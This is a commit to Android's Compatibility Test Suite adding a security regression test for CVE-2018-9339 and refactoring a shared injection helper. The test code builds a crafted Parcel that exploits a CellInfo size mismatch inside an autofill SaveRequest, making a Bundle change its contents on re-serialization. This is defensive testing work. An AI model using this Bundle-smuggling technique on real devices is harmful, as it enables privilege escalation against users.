CTS test for Android Security b/79775949 b/71508348

Test: successful run of newly introduced CTS test case.
Bug:79775949
Bug:71508348
Change-Id: I408d4651d0ace8a9b0bc30c06d0fb9dcc364ae43
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index c960101..ae5bc8e 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,7 @@
 import android.os.BaseBundle;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.os.Parcelable;
 import android.annotation.SuppressLint;
 
 import java.io.InputStream;
@@ -33,6 +34,114 @@
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
+    /*
+     * b/71508348
+     */
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void test_android_CVE_2018_9339() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            private final Field parcelledDataField;
+
+            private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+            private final Parcelable smallerParcelable;
+            private final Parcelable biggerParcelable;
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+
+                smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+                biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+                Parcel p = Parcel.obtain();
+                smallerParcelable.writeToParcel(p, 0);
+                int smallerParcelableSize = p.dataPosition();
+                biggerParcelable.writeToParcel(p, 0);
+                int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+                p.recycle();
+
+                if (smallerParcelableSize >= biggerParcelableSize) {
+                    throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+                }
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                // Pad bundles
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+                parcel.writeString(key); // Key
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("android.service.autofill.SaveRequest");
+
+                // read/writeTypedArrayList
+                parcel.writeInt(2); // Number of items in typed array list
+                parcel.writeInt(1); // Item present flag
+                parcel.writeString(BASE_PARCELABLE);
+                biggerParcelable.writeToParcel(parcel, 0);
+                parcel.writeInt(1); // Item present flag
+                smallerParcelable.writeToParcel(parcel, 0);
+
+                // read/writeBundle
+                int bundleLengthPosition = parcel.dataPosition();
+                parcel.writeInt(0); // Placeholder, will be replaced
+                parcel.writeInt(BUNDLE_MAGIC);
+                int bundleStart = parcel.dataPosition();
+                for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+                    parcel.writeInt(414100 + i); // Padding in inner bundle
+                }
+                parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+                writeBundleSkippingHeaders(parcel, postReSerialize);
+                int bundleEnd = parcel.dataPosition();
+
+                // Update inner Bundle length
+                parcel.setDataPosition(bundleLengthPosition);
+                parcel.writeInt(bundleEnd - bundleStart);
+                parcel.setDataPosition(bundleEnd);
+
+                // Write original Bundle contents
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/62998805
+     */
     @SecurityTest(minPatchLevel = "2017-10")
     public void test_android_CVE_2017_0806() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
@@ -88,51 +197,14 @@
                 parcelledDataField.set(bundle, parcel);
                 return bundle;
             }
-
-            @Override
-            protected String makeStringToInject(Bundle stuffToInject, Random random) {
-                Parcel p = Parcel.obtain();
-                p.writeInt(0);
-                p.writeInt(0);
-
-                Parcel p2 = Parcel.obtain();
-                stuffToInject.writeToParcel(p2, 0);
-                int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
-                for (int i = 0; i < p2Len / 4 + 4; i++) {
-                    int paddingVal;
-                    if (i > 3) {
-                        paddingVal = i;
-                    } else {
-                        paddingVal = random.nextInt();
-                    }
-                    p.writeInt(paddingVal);
-
-                }
-
-                p.appendFrom(p2, BUNDLE_SKIP, p2Len);
-                p2.recycle();
-
-                while (p.dataPosition() % 8 != 0) p.writeInt(0);
-                for (int i = 0; i < 2; i++) {
-                    p.writeInt(0);
-                }
-
-                int len = p.dataPosition() / 2 - 1;
-                p.writeInt(0); p.writeInt(0);
-                p.setDataPosition(0);
-                p.writeInt(len);
-                p.writeInt(len);
-                p.setDataPosition(0);
-                String result = p.readString();
-                p.recycle();
-                return result;
-            }
         };
 
         testAmbiguator(ambiguator);
     }
 
+    /*
+     * b/73252178
+     */
     @SecurityTest(minPatchLevel = "2018-05")
     public void test_android_CVE_2017_13311() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
@@ -219,16 +291,14 @@
                 parcelledDataField.set(bundle, parcel);
                 return bundle;
             }
-
-            @Override
-            protected String makeStringToInject(Bundle stuffToInject, Random random) {
-                return null;
-            }
         };
 
         testAmbiguator(ambiguator);
     }
 
+    /*
+     * b/71714464
+     */
     @SecurityTest(minPatchLevel = "2018-04")
     public void test_android_CVE_2017_13287() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
@@ -283,46 +353,6 @@
                 parcelledDataField.set(bundle, parcel);
                 return bundle;
             }
-
-            @Override
-            protected String makeStringToInject(Bundle stuffToInject, Random random) {
-                Parcel p = Parcel.obtain();
-                p.writeInt(0);
-                p.writeInt(0);
-
-                Parcel p2 = Parcel.obtain();
-                stuffToInject.writeToParcel(p2, 0);
-                int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
-                for (int i = 0; i < p2Len / 4 + 4; i++) {
-                    int paddingVal;
-                    if (i > 3) {
-                        paddingVal = i;
-                    } else {
-                        paddingVal = random.nextInt();
-                    }
-                    p.writeInt(paddingVal);
-
-                }
-
-                p.appendFrom(p2, BUNDLE_SKIP, p2Len);
-                p2.recycle();
-
-                while (p.dataPosition() % 8 != 0) p.writeInt(0);
-                for (int i = 0; i < 2; i++) {
-                    p.writeInt(0);
-                }
-
-                int len = p.dataPosition() / 2 - 1;
-                p.writeInt(0); p.writeInt(0);
-                p.setDataPosition(0);
-                p.writeInt(len);
-                p.writeInt(len);
-                p.setDataPosition(0);
-                String result = p.readString();
-                p.recycle();
-                return result;
-            }
         };
 
         testAmbiguator(ambiguator);
@@ -379,6 +409,9 @@
         protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
         protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
 
+        protected static final int BUNDLE_MAGIC = 0x4C444E42;
+        protected static final int INNER_BUNDLE_PADDING = 1;
+
         protected final Field parcelledDataField;
 
         public Ambiguator() throws Exception {
@@ -388,7 +421,44 @@
 
         abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
 
-        abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+        protected String makeStringToInject(Bundle stuffToInject, Random random) {
+            Parcel p = Parcel.obtain();
+            p.writeInt(0);
+            p.writeInt(0);
+
+            Parcel p2 = Parcel.obtain();
+            stuffToInject.writeToParcel(p2, 0);
+            int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+            for (int i = 0; i < p2Len / 4 + 4; i++) {
+                int paddingVal;
+                if (i > 3) {
+                    paddingVal = i;
+                } else {
+                    paddingVal = random.nextInt();
+                }
+                p.writeInt(paddingVal);
+
+            }
+
+            p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+            p2.recycle();
+
+            while (p.dataPosition() % 8 != 0) p.writeInt(0);
+            for (int i = 0; i < 2; i++) {
+                p.writeInt(0);
+            }
+
+            int len = p.dataPosition() / 2 - 1;
+            p.writeInt(0); p.writeInt(0);
+            p.setDataPosition(0);
+            p.writeInt(len);
+            p.writeInt(len);
+            p.setDataPosition(0);
+            String result = p.readString();
+            p.recycle();
+            return result;
+        }
 
         protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
             Parcel p2 = Parcel.obtain();